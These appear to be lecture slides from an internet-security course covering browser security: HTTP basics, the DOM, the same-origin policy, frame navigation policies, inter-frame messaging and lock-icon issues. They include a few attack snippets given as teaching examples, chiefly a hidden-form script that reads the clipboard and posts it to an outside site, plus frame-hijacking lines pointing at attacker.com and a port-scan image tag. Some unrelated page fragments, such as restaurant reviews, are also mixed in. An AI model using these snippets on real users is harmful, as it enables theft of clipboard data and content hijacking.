Internet Security

Prof. Anja Feldmann, Ph.D.
anja@net.t-labs.tu-berlin.de
http://www.net.t-labs.tu-berlin.de/

Prof. Dr. Jean-Pierre Seifert
jpseifert@sec.t-labs.tu-berlin.de
http://www.sec.t-labs.tu-berlin.de/
Web Browser Security

Introduction
Browser basics
Security problems
Web Browser Security
Browser and Network

- Browser sends requests
  - May reveal private information (in forms, cookies)
- Browser receives information, code
  - May corrupt state by running unsafe code
- Interaction susceptible to network attacks
  - Consider network security as discussed earlier in this course
Browser security landscape

- Browser design vulnerabilities
  - Does the browser design, if implemented properly, prevent malicious attacks?
  - Main topic of this lecture

- Browser implementation vulnerabilities
  - Browsers can be vulnerable to standard application attacks
    - E.g., buffer overflow from long name for page element
  - Similar in principle to other implementation vulnerabilities

Other Lectures, Seminars, Practical courses from Prof. Seifert

- Attacks running under host OS
  - Difficult for browser to defend; can look at Least Privilege

Other Lectures, Seminars, Practical courses from Prof. Seifert

- Attacks from network
  - Malicious web site “visited” by user (or sending ad, gadget)
    - This is our main interest for today
  - Attacker who controls network
    - Harder to defend but also important (e.g., wireless cafe access point)

Consider network security as discussed earlier in this course
Browser security landscape

- Browser design vulnerabilities
  - Does the browser design, if implemented properly, prevent malicious attacks?
  - Main topic of this lecture
- Browser implementation vulnerabilities
  - Browsers can be vulnerable to standard application attacks
    - E.g., buffer overflow from long name for page element
  - Similar in principle to other implementation vulnerabilities
- Attacks running under host OS
  - Difficult for browser to defend; can look at Least Privilege
- Attacks from network
  - Malicious web site “visited” by user (or sending ad, gadget)
    - This is our main interest for today
  - Attacker who controls network
    - Harder to defend but also important (e.g., wireless cafe access point)
    - Consider network security as discussed earlier in this course
Vulnerability Stats: web is “winning”

Majority of vulnerabilities now found in web software

Source: MITRE CVE trends
Credits

Adam Barth, Collin Jackson, and the entire Web Security team from Stanford
Sample architecture
HyperText Transfer Protocol

- Used to request and return data
  - Methods: GET, POST, HEAD, …

- Stateless request/response protocol
  - Each request is independent of previous requests
  - Statelessness has a significant impact on design and implementation of applications

- GET vs POST
Address Bar

- Where this page came from

- But not where the embedded content came from
**URLs**

- Global identifiers of network-retrievable documents
- **Example:**
  
  http://stanford.edu:81/class?name=cs155#homework

- Special characters are encoded as hex:
  - %0A = newline
  - %20 or + = space, %2B = + (special exception)
HTTP Request

Method File HTTP version Headers

GET /index.html HTTP/1.1
Accept: image/gif, image/x-bitmap, image/jpeg, */*
Accept-Language: en
User-Agent: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)
Connection: Keep-Alive
Host: www.example.com

Data – none for GET

GET:   no side effect.           POST:   possible side effect.
**HTTP Response**

<table>
<thead>
<tr>
<th>HTTP version</th>
<th>Status code</th>
<th>Reason phrase</th>
</tr>
</thead>
<tbody>
<tr>
<td>HTTP/1.0 200 OK</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**Headers**

- Date: Sun, 21 Apr 1996 02:20:42 GMT
- Server: Microsoft-Internet-Information-Server/5.0
- Connection: keep-alive
- Content-Type: text/html
- Last-Modified: Thu, 18 Apr 1996 17:39:05 GMT
- Content-Length: 2543

**Data**

```html
<HTML> Some data... blah, blah, blah </HTML>
```
Installing ActiveX Controls

If you install and run, no further control over the code.

In principle, browser/OS could apply sandboxing, other techniques for containing risks in native code. But don’t count on it.
ActiveX

- ActiveX controls reside on client's machine, activated by HTML object tag on the page
  - ActiveX controls are not interpreted by browser
  - Compiled binaries executed by client OS
  - Controls can be downloaded and installed

- Security model relies on three components
  - Digital signatures to verify source of binary
  - IE policy can reject controls from network zones
  - Controls marked by author as safe for initialization, safe for scripting which affects the way control used

Once accepted, installed and started, no control over execution
Additions to browser

**IE Browser Helper Objects (Extensions)**

- COM components loaded when IE starts up
- Run in same memory context as the browser
- Perform any action on IE windows and modules
  - Detect browser events
    - GoBack, GoForward, and DocumentComplete
  - Access browser menu, toolbar and make changes
  - Create windows to display additional information
  - Install hooks to monitor messages and actions
- Summary: No protection from extensions

Rendering and events

Basic execution model

Each browser window or frame
- Loads content
- Renders
  - Processes HTML and scripts to display page
  - May involve images, subframes, etc.
- Responds to events

Events can be

- User actions: OnClick, OnMouseover
- Rendering: OnLoad
- Timing: setTimeout(), clearTimeout()
HTML Image Tags

```html
<html>
  ...
  <p>  ... </p>
  ...
  <img src="http://example.com/sunset.gif" height="50"
       width="100">
  ...
</html>

Displays this nice picture ➔
Security issues?
Image tag security issues

- Communicate with other sites

- Hide resulting image
  - `<img src=" ... " height="1" width="1">`

- Spoof other sites
  - Add logos that fool a user

Very Important Point: A web page can send information to any site
HTML and Scripts

```html
<html>
    ...
    <p> The script on this page adds two numbers
    <script>
        var num1, num2, sum
        num1 = prompt("Enter first number")
        num2 = prompt("Enter second number")
        sum = parseInt(num1) + parseInt(num2)
        alert("Sum = " + sum)
    </script>
    ...
</html>
```
The script on this page adds two numbers

**Explorer User Prompt**

Script Prompt:  
Enter first number

[OK] [Cancel]

The script on this page adds two numbers

**Windows Internet Explorer**

Sum = 7

[OK]
Events

<script type="text/javascript">
    function whichButton(event) {
        if (event.button==1) {
            alert("You clicked the left mouse button!")
        } else {
            alert("You clicked the right mouse button!")
        }
    }
</script>

Other events: onLoad, onMouseMove, onKeyPress, onUnLoad
Click in the document. An alert box will alert which mouse button you clicked.

Windows Internet Explorer

You clicked the left mouse button!

OK
Event order

- If an element and one of its ancestors have an event handler for the same event, which one should fire first?

Element 1
onClikc = ...

Element 2
onClikc = ...

- MS IE: Bubble-up
- Netscape: Window-down event capture
- W3C: specify event listener with event capture or event bubbling semantics

- Main point for now: different browsers use different methods
  - Convergence over time on many browser issues, but browser application programming involves many significant compatibility issues
Port scanning behind firewall

- JavaScript can:
  - Request images from internal IP addresses
    - Example: `<img src="192.168.0.4:8080"/>`
  - Use timeout/onError to determine success/failure
  - Fingerprint webapps using known image names
Document object model (DOM)

- Data structure manipulated by JavaScript
  - web page in HTML is structured data
  - DOM provides representation of this hierarchy

- Examples
  - Properties: document.alinkColor, document.URL, document.forms[ ], document.links[ ], document.anchors[ ]
  - Methods: document.write(document.referrer)

- Also Browser Object Model (BOM)
  - Window, Document, Frames[], History, Location, Navigator (type and version of browser)
Browser and document tree structure

W3C standard differs from models supported in existing browsers
Example

JavaScript

1. `document.getElementById('t1').nodeName`
2. `document.getElementById('t1').nodeValue`
3. `document.getElementById('t1').firstChild.nodeName`
4. `document.getElementById('t1').firstChild.firstChild.nodeName`
5. `document.getElementById('t1').firstChild.firstChild.nodeValue`

Example 1 returns "ul"
Example 2 returns "null"
Example 3 returns "li"
Example 4 returns "text"

A text node below the "li" which holds the actual text data as its value
Example 5 returns " Item 1 "

HTML

```html
<ul id="t1">
  <li> Item 1 </li>
</ul>
```
Changing HTML using Script, DOM

- Some possibilities
  - createElement(elementName)
  - createTextNode(text)
  - appendChild(newChild)
  - removeChild(node)

- Example: Add a new list item:

```javascript
var list = document.getElementById('t1')
var newitem = document.createElement('li')
var newtext = document.createTextNode(text)
list.appendChild(newitem)
newitem.appendChild(newtext)
```

```html
<ul id="t1">
<li>Item 1</li>
</ul>
```
Stealing clipboard contents

- Create hidden form, enter clipboard text, post form

```html
<FORM name="hf" METHOD=POST ACTION="http://www.site.com/targetpage.php" style="display:none">
  <INPUT TYPE="text" NAME="topicID">
  <INPUT TYPE="submit">
</FORM>
<script language="javascript">
var content = clipboardData.getData("Text");
document.forms["hf"].elements["topicID"].value = content;
document.forms["hf"].submit();
</script>
```
Frame and iFrame

- Window may contain frames from different sources
  - Frame: rigid division as part of frameset
  - iFrame: floating inline frame

- iFrame example

```html
<IFRAME SRC="hello.html" WIDTH=450 HEIGHT=100>
If you can see this, your browser doesn't understand IFRAME.
</IFRAME>
```

- Why use frames?
  - Delegate screen area to content from another source
  - Browser provides isolation based on frames
  - Parent may work even if frame is broken
Remote scripting

Goal
- Exchange data between a client-side app running in a browser and server-side app, w/o reloading page

Methods
- Java Applet/ActiveX control/Flash
  - Can make HTTP requests and interact with client-side JavaScript code, but requires LiveConnect (not available on all browsers)
- XML-RPC
  - Open, standards-based technology that requires XML-RPC libraries on server and in your client-side code.
- Simple HTTP via a hidden IFRAME
  - IFRAME with a script on your web server (or database of static HTML files) is by far the easiest of the three remote scripting options

Simple remote scripting example

client.html: RPC by passing arguments to server.html in query string

```javascript
function handleResponse() {
    alert('this function is called from server.html')
}
</script>
<iframe id="RSI Frame" name="RSI Frame"
    style="width:0px; height:0px; border: 0px"
    src="blank.html">
</iframe>
<a href="server.html" target="RSI Frame">make RPC call</a>
```

server.html: another page on same server, could be server.php, etc

```javascript
window.parent.handleResponse()
</script>
```

RPC can be done silently in JavaScript, passing and receiving arguments
## An Analogy

<table>
<thead>
<tr>
<th>Operating system</th>
<th>Web browser</th>
</tr>
</thead>
<tbody>
<tr>
<td>□ Primitives</td>
<td>□ Primitives</td>
</tr>
<tr>
<td>◦ System calls</td>
<td>◦ Document object model</td>
</tr>
<tr>
<td>◦ Processes</td>
<td>◦ Frames</td>
</tr>
<tr>
<td>◦ Disk</td>
<td>◦ Cookies / localStorage</td>
</tr>
<tr>
<td>□ Principals: Users</td>
<td>□ Principals: “Origins”</td>
</tr>
<tr>
<td>◦ Discretionary access control</td>
<td>◦ Mandatory access control</td>
</tr>
<tr>
<td>□ Vulnerabilities</td>
<td>□ Vulnerabilities</td>
</tr>
<tr>
<td>◦ Buffer overflow</td>
<td>◦ Cross-site scripting</td>
</tr>
<tr>
<td>◦ Root exploit</td>
<td>◦ Universal scripting</td>
</tr>
</tbody>
</table>

Remember: once a user visits attacker.com, attacker can maintain persistent bidirectional communication with a frame in user’s browser.
Web Attacker

- The basic web security threat model
- Attacker capabilities
  - Network
    - Operates a web site on the reachable network
    - Can obtain SSL/TLS Certificate for server
    - May operate other machines on own domain
  - Interaction with user (victim)
    - User visits attacker web site
      - Why? Enticing content, placed by ad network, blind luck, ...
    - Attacker.com is different from honest domains
    - Attacker has no other access to user’s machine
- Variation: Gadget attacker
  - The attacker produces a gadget that is included in otherwise honest mashup (e.g, EvilMaps.com)
Need for isolation

If Google can script other windows, then can steal passwords, post fraudulent bank or retail transactions, etc., etc.
Need for isolation - mashups
Need for isolation - advertisements

HowStuffWorks "How Web Advertising Works" - Windows Internet Explorer

DIGITAL PHOTOS GETTING OUT OF HAND?

HowStuffWorks and the web:

Search HowStuffWorks and the web:

Print Email Cite

How Web Advertising Works
by Marshall Brain

Inside This Article
1. Introduction to How Web Advertising Works
2. In the Beginning: Banner Ads
3. Banner Ad Prices
4. Sidebar Ads
5. Varied Shapes and Sizes
6. Pop-Up and Pop-Under
7. Floating Ads
8. Uncast Ads
9. Other Variations
10. How Bad Can it Get?
11. Lots More Information
12. See all Web Design & Development articles

In the Beginning: Banner Ads
When the Web first started being a "commercial endeavor" around 1997 or so, thousands of new sites were born and billions of dollars in venture capital flowed into them. The sites divided into two broad categories:

- E-commerce sites
- E-commerce sites sell things, E-commerce sites make their money from the products they sell, just like a
Javascript Security Model

- “Sandbox” design
  - No direct file access, restricted network access

- Same-origin policy
  - Frame can only read properties of documents and windows from same place: server, protocol, port

- However, this does not apply to
  - Script loaded in enclosing frame from arbitrary site

```
<script type="text/javascript">
    src="http://www.example.com/scripts/somescript.js">
</script>
```

- This script runs as if it were loaded from the site that provided the page!

Components of browser security policy

- Frame-Frame relationships
  - canScript(A,B)
    - Can Frame A execute a script that manipulates arbitrary/nontrivial DOM elements of Frame B?
  - canNavigate(A,B)
    - Can Frame A change the origin of content for Frame B?

- Frame-principal relationships
  - readCookie(A,S), writeCookie(A,S)
    - Can Frame A read/write cookies from site S?

- Security indicator (lock icon)
  - securityIndicator(W)
    - Is the security indicator displayed for window W?
Lock Icon 2.0

- Extended validation (EV) certs

- Prominent security indicator for EV certificates

- note: EV site loading content from non-EV site does not trigger mixed content warning
Generally misunderstood

- Often simply stated as “same origin policy”
  - This usually just refers to the canScript relation

- Full policy of current browsers is complex
  - Evolved via “penetrate-and-patch”
  - Different features evolved slightly different policies

- Common scripting and cookie policies:
  - canScript considers: scheme, host, and port
  - canReadCookie considers: scheme, host, and path
  - canWriteCookie considers: host
Browser Same Origin Policy (SOP)

Web sites from different domains cannot interact except in very limited ways

- **Applies to:**
  - **Cookies:** cookie from origin A not visible to origin B
  - **DOM:** script from origin A cannot read or set properties for origin B

- For DOM access, two origins are the same iff
  - (domain-name, port, and protocol) are equal

Safari note: until 3.0 SOP was only (domain-name, port)
SOP Examples

Example HTML at www.site.com

Disallow access:

```
<iframe src="http://othersite.com"></iframe>
alert( frames[0].contentDocument.body.innerHTML )
alert( frames[0].src )
```

Allowed access:

```
<img src="http://othersite.com/logo.gif">
alert( images[0].height )
```

Navigating child frame is allowed (but reading frame[0].src is not):

```
frames[0].location.href = “http://mysite.com/”
```
Cross-frame scripting

• canScript(A,B)
  - Only if Origin(A) = Origin(B)
    • Where origin of a frame is the scheme, host, and network port from which it was loaded
  - This is the basic Same-Origin Policy (SOP)

• Some details
  - Some properties can be read anyway
    • Example: A can read size of B, if A is the parent of B in the DOM hierarchy
Cross-Frame Navigation

- Who decides a frame’s content?

Permissive Policy

A frame can navigate any frame

- Permissive policy is used in some browsers; not a great idea
Guninski Attack

If bad frame can navigate good frame, attacker gets password
Window Policy

A frame can navigate frames in its own window
Gadget Hijacking

top.frames[1].location = "http:/www.attacker.com/...";
top.frames[2].location = "http:/www.attacker.com/...";
...
Gadget Hijacking
Experiment to Determine Policy

- Frame navigation policy not documented
  - Some comments in Firefox source code, but misleading
  - No source code available for IE or Opera

- Extensive frame navigation test case
  - Assumes policy invariants (e.g., left/right symmetric)
  - Attempts 176 navigations, records results
  - Determined policy for Internet Explorer, Firefox, Safari
## Possible frame navigation policies

<table>
<thead>
<tr>
<th>Policy</th>
<th>Behavior</th>
</tr>
</thead>
<tbody>
<tr>
<td>Permissive</td>
<td><img src="image1" alt="Permissive behavior" /> <img src="image2" alt="Permissive behavior" /> <img src="image3" alt="Permissive behavior" /> <img src="image4" alt="Permissive behavior" /></td>
</tr>
<tr>
<td>Window</td>
<td><img src="image5" alt="Window behavior" /> <img src="image6" alt="Window behavior" /> <img src="image7" alt="Window behavior" /> <img src="image8" alt="Window behavior" /></td>
</tr>
<tr>
<td>Descendant</td>
<td><img src="image9" alt="Descendant behavior" /> <img src="image10" alt="Descendant behavior" /> <img src="image11" alt="Descendant behavior" /></td>
</tr>
<tr>
<td>Child</td>
<td><img src="image12" alt="Child behavior" /> <img src="image13" alt="Child behavior" /> <img src="image14" alt="Child behavior" /></td>
</tr>
</tbody>
</table>
## Implemented Browser Policies

<table>
<thead>
<tr>
<th>Browser</th>
<th>Policy</th>
</tr>
</thead>
<tbody>
<tr>
<td>IE 6 (default)</td>
<td>Permissive</td>
</tr>
<tr>
<td>IE 6 (option)</td>
<td>Child</td>
</tr>
<tr>
<td>IE7 (no Flash)</td>
<td>Descendant</td>
</tr>
<tr>
<td>IE7 (with Flash)</td>
<td>Permissive</td>
</tr>
<tr>
<td>Firefox 2</td>
<td>Window</td>
</tr>
<tr>
<td>Safari 3</td>
<td>Permissive</td>
</tr>
<tr>
<td>Opera 9</td>
<td>Window</td>
</tr>
<tr>
<td>HTML 5</td>
<td>Child</td>
</tr>
</tbody>
</table>
Principle: Pixel Delegation

- Frames delegate screen pixels
  - Child cannot draw outside its frame
  - Parent can draw over the child’s pixels
- Navigation similar to drawing
  - Navigation replaces frame contents
  - “Simulate” by drawing over frame
- Policy ought to match pixel delegation
  - Navigate a frame if can draw over the frame
Best Solution: Descendant Policy

- Best security / compatiblity trade-off
  - Security: Respects pixel delegation
  - Compatibly: Least restrictive such policy

- Implementation (Adam and Collin!)
  - Wrote patches for Firefox and Safari
  - Wrote over 1000 lines of regression tests

- Deployment
  - Apple released patch as security update
  - Mozilla shipped policy in Firefox 3
Subtlety: Scripting Policy Interaction

- Is this permissible?
  - Target is not descendant
- **Can** draw over pixels
  1. Inject script into parent
  2. Parent draws the pixels
- Allow navigation
  - Large compatibility win
  - No security loss

Correct descendent policy is relational composition of descendant and canScript
Frame Communication

- If frames provide isolation, how can they communicate?

- Desirable properties of interframe communication
  - Confidentiality
  - Integrity
  - Authentication
New Saffron
Category: Indian/Pakistani

Two words. DINNER BUFFET. Where have you been all my adult life? $12.95. All you can eat Indian food goodness. For vegetarians and carnivores alike. Also, no gnats. A plus. My go-to Indian...

1. Darbar Indian Cuisine
Category: Indian/Pakistani

even have tamarind chutney, which is weird/annoying for a restaurant that is trying to be authentic (as opposed to Junnoon which is modern/fusion indian). Their paneer do piazza and their onion kulcha

2. Junnoon Restaurant
Category: Indian/Pakistani
Fragment Identifier Messaging

- Send information by navigating a frame
  - http://gadget.com/#hello

- Navigating to fragment doesn’t reload frame
  - No network traffic, but frame can read its fragment

- Not a secure channel
  - Confidentiality ✓
  - Integrity ✓
  - Authentication ❌

D. Thorpe, Secure Cross-Domain Communication in the Browser
Basic idea

```
function sendData() {
    iframe.src = "http://bar.com/receiver.html#data_here";
}
```

```
iframe (bar.com/receiver.html)
```

```
window.onload = function () {
    data = window.location.hash;
}
```
Problems and limitations

- No acknowledgement of receipt
  - No ack if the iframe successfully received the data.

- Message overwrites
  - The host does not know when the iframe has finished processing a message, so it doesn’t know when it’s safe to send the next message.

- Capacity limits.
  - URL length limit varies by browser family

- Data has unknown origin

- No replies
  - There’s no way for script in the iframe to pass data back to the host page.

- Loss of context
  - Page is reloaded with every message, losing DOM state
With return communication

Host page (foo.com/main.html)

```javascript
function sendDataToBar() {
    iframe.src = "http://bar.com/receiver.html#data_here";
}
```

iframe (bar.com/receiver.html)

```javascript
window.onLoad = function() {
    data = window.location.hash;
}
```

function sendDataToFoo() {
    iframe2.src = "http://foo.com/receiver.html#data_here";
}

iframe2 (foo.com/receiver.html)

```javascript
window.onLoad = function() {
    window.parent.parent.receiveFromBar(window.location.hash);
}
```
Fix: Improve the protocol

- Proposed Needham-Schroeder-Lowe

\[
\begin{align*}
A \rightarrow B & : N_A, URI_A \\
B \rightarrow A & : N_A, N_B, URI_B \\
A \rightarrow B & : N_B \\
& \quad \ldots \\
A \rightarrow B & : N_A, N_B, Message_i \\
B \rightarrow A & : N_A, N_B, Message_j
\end{align*}
\]

- Adoption
  - Microsoft: Windows Live Channels library
  - IBM: OpenAjax Hub 1.1
postMessage

- New API for inter-frame communication
- Supported in latest betas of many browsers

- Not a secure channel
  - Confidentiality ✗
  - Integrity ✓
  - Authentication ✓
Sample use

frames[0].postMessage("Hello world.");

document.addEventListener("message", receiver);
function receiver(e) {
if (e.domain == "example.com") {
  if (e.data == "Hello world") {
    e.source.postMessage("Hello");
  }
}
}
Eavesdrop on Messages

- Descendent frame navigation policy
Eavesdrop on Messages (2)

- Works in all navigation policies
Fix: Change the API

Let the sender specify the recipient:

document.addEventListener("message", receiver);
function receiver(e) {
  if (e.domain == "example.com") {
    if (e.data == "Hello world") {
      e.source.postMessage("Hello", e.domain, e.uri);
    }
  }
}
The Lock Icon

- Goal: identify secure connection
- This is a network security issue
  - SSL/TLS is to protect against active network attacker
  - Lock icon should only be shown when page is secure against network attacker
Checkered History of the Lock

- Positive trust indicator
  - Semantics subtle and not widely understood
    - This page is not under the control of an active network attacker (unless the principal named in the location bar has chosen to trust the attacker).

- Innovation required in user interface design
  - Lock icon largely ignored by users
  - Innovations require browser accuracy in determining whether to show security indicators
Problem with embedded content

- Show lock icon if
  - Page retrieved over HTTPS
  - Every embedded object retrieved over HTTPS
    - Firefox allows HTTP images, but it’s a known bug
  - Every frame would have shown lock icon
Active Attacker Gets Password

Mixed content: Chase used a SWF movie served over http to perform authentication on banking login page

Vulnerable to network attack!
Origin Contamination

Gmail is a new kind of webmail, built on the idea that email can be more intuitive, efficient, and useful. And maybe even fun. After all, Gmail has:

Less spam
Keep unwanted messages out of your inbox with Google’s innovative technology

Fast search
Use Google search to find the exact message you want, no matter when it was sent or received.
Mixed Content Issues

- Fails to account for canScript relation
  - Every browser fails to consider this issue
  - Implemented correct policy in SafeLock extension

- Also, lots of bugs
  - Fail to detect insecure SWF movies (IE, Firefox)
  - Navigation forgets mixed content (Firefox)
  - Firefox architecture makes detection difficult
Summary

Operating system
- Primitives
  - System calls
  - Processes
  - Disk
- Principals: Users
  - Discretionary access control
- Vulnerabilities
  - Buffer overflow
  - Root exploit

Web browser
- Primitives
  - Document object model
  - Frames
  - Cookies / localStorage
- Principals: “Origins”
  - Mandatory access control
- Vulnerabilities
  - Cross-site scripting
  - Universal scripting

Many interesting security issues, complex feature interaction, many different browsers; additional network (e.g. DNS), UI problems
Stanford Web Security Research

Overview

The Web Security Group is a part of the Stanford Security Laboratory. Research projects focus on various aspects of browser and web application security.

Publications

Securing the Web Platform

Beware of Finer-Grained Origins
Collin Jackson and Adam Barth
in Web 2.0 Security and Privacy. (W2SP 2008)

ForceHTTPS Cookies: A Defense Against Crawling and Pharming
Collin Jackson and Adam Barth
in Proc. of the 17th International World Wide Web Conference. (WWW 2008)

Protecting Browsers from DNS Rebinding Attacks
Collin Jackson, Adam Barth, Andrew Sola, Wenshuai Tao, and Dan Boneh
in Proc. of the 14th ACM Conf. on Computer and Communications Security. (CCS 2007)

Security for Mashups

Securing Browser Frame Communication
Adam Barth, Collin Jackson, and John C. Mitchell
in Proc. of the 17th USENIX Security Symposium. (USENIX Security '08)

Protection and Communication Abstractions for Web Browsers in MashupOS
Helen J. Wang, Xiaofeng Fan, Jon Howell, and Collin Jackson
in Proc. of the 21st ACM Symposium on Operating Systems Principles (SOSP 2007)

MashupOS: Operating System Abstractions for Client Mashups
Jon Howell, Collin Jackson, Helen J. Wang, and Xiaofeng Fan
in Proc. of the 11th Workshop on Hot Topics in Operating Systems. (HotOS 2007)

Subspace: Secure Cross-Domain Communication for Web Mashups
Collin Jackon and Helen J. Wang
in Proc. of the 16th International World Wide Web Conference. (WWW 2007)

Privacy in the Browser

Exposing Private Information by Timing Web Applications
Andrew Sola, Dan Boneh, and Palash Dey
in Proc. of the 16th International World Wide Web Conference. (WWW 2007)

Protecting Browser State from Web Privacy Attacks
Collin Jackson, Andrew Sola, Dan Boneh, and John C. Mitchell
in Proc. of the 16th International World Wide Web Conference. (WWW 2006)